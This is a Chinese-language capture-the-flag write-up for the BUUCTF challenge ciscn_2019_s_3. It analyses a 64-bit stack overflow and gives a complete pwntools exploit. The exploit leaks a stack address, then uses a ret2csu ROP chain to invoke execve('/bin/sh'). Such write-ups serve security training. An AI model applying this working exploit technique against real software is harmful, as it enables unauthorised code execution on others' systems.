BUUCTF--ciscn_2019_s_31

23 篇文章 1 订阅

这题是一题ret2csu,先查看下保护:


64位架构的程序,那么传参就是寄存器传参了。开启了NX,也不存在ret2shellocde。接下来黑盒测试下:


输入一个字节都能触发段错误,并且还跟了一串不知道啥来的东西,盲猜是栈上的数据泄露。

紧接着我们进入IDA中分析下程序逻辑:



代码很简单,但是这个题,还是看汇编会比较好看:


分别进行了两次系统调用,一个是read,一个是write。从上面我们可以看到buf的大小是16,但是write的大小有0x30,肯定是泄露了栈上的其他信息。


在代码中我们还发现了一个系统调用号,这个系统调用号对应的是execve:


那么接下来就是步骤rop的事情了,程序中有scu


我们需要利用的就是这部分代码。接下来是漏洞利用的分析步骤:

1.泄露栈地址并返回到主函数,构造第二次payload

2.第二次布局将bin/sh参数以及返回地址覆盖成我们的rop链子

3.rop布局:

ret_rax_59->ret_400596->pop_rbx->pop_rbp->pop_r12->pop_r13->pop_r14->pop_r15->ret_400580->'a'*56(因为会再次pop_rbx到pop_r15)->pop_rdi->bin/sh参数地址->syscall参数

这个rop布局看上去挺复杂的。不过仔细理理还是很容易理解的。exp如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
p = process('./ciscn_s_3')
elf = ELF('./ciscn_s_3')
#p=remote('')
context.log_level = 'debug'
 
main_addr = elf.symbols['main']
csu_end = 0x040059A
csu_front = 0x0400580
ret_addr = 0x004003a9
rax_59_ret = 0x04004E2
pop_rdi=0x00000000004005a3
print(hex(main_addr))

gdb.attach(p)
payload = '/bin/sh\x00' +'B'*8 + p64(main_addr)
pause()
p.sendline(payload)
pause()
p.recv(0x20)
stack_addr = u64(p.recv(8))   #写入binsh后,由于write的大小为0x30于是我们随便泄露一个地址后用偏移以后的栈相对位置来标记binsh的位置
print ('stack_addr-->' + hex(stack_addr))


binsh=stack_addr-0x138
rax=binsh+0x10
system=0x0000000000400517

#$rax==59
#$rdi==/bin/sh
#$rsi==0
#$rdx==0
#syscall
 
payload = '/bin/sh\x00' + 'A'*0x8 +p64(rax_59_ret) + p64(csu_end)  #一次利用gadget来改变寄存器的值来调用,但是调用csu还会有个rdi,我们可以重复填入rax调用
payload += p64(0) + p64(1) + p64(rax) + p64(0) + p64(0) + p64(0)
payload += p64(csu_front)
payload +='a'*56 
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)


p.sendline(payload)

pause()

p.interactive()

  • 7
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值